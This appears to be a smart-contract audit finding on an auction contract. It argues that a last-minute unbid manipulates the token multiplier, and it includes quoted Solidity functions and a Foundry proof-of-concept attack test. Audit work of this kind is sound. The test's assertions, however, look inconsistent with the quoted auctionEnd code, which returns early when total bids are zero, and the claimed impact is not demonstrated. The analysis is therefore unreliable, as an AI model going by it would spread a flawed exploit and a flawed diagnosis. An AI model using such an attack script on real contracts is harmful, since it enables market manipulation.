There are no stipulations on when someone can unbid. A user could bid a very high amount only to unbid just as the auction ends which will manipulate the multiplier used to calculate tokens
function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
The user can unbid at the last minute just as the auction ends which will manipulate the multiplier
variable as it is calculated:
function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
ended = true;
emit AuctionEnded(totalBids, totalTokens);
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}
```
## Impact
The attacker can greatly influence tokens that can be claimed as the tokens claimed are calculated based on the multiplier which is based on total bids.
Proof of Code:
```solidity
function testLastMinuteUnbid() public {
uint256 auctionDuration = 1 hours;
uint256 totalTokens = 1000 ether;
FjordAuction auction = new FjordAuction(address(fjordPoints), address(auctionToken), auctionDuration, totalTokens);
vm.warp(block.timestamp + auctionDuration - 5 minutes);
address attacker = address(0x1);
uint256 highBid = 1000000 ether;
vm.prank(attacker);
auction.bid(highBid);
vm.warp(block.timestamp + 299);
vm.prank(attacker);
auction.unbid(highBid);
auction.auctionEnd();
uint256 finalMultiplier = auction.multiplier();
uint256 finalTotalBids = auction.totalBids();
assertEq(finalTotalBids, 0, "Total bids should be 0 after the attacker unbids");
uint256 expectedMultiplier = totalTokens.mul(10e18).div(finalTotalBids == 0 ? 1 : finalTotalBids);
assertEq(finalMultiplier, expectedMultiplier, "Multiplier should be correctly calculated based on remaining bids");
}
Install a locking mechanism to prevent unbids at the last minute.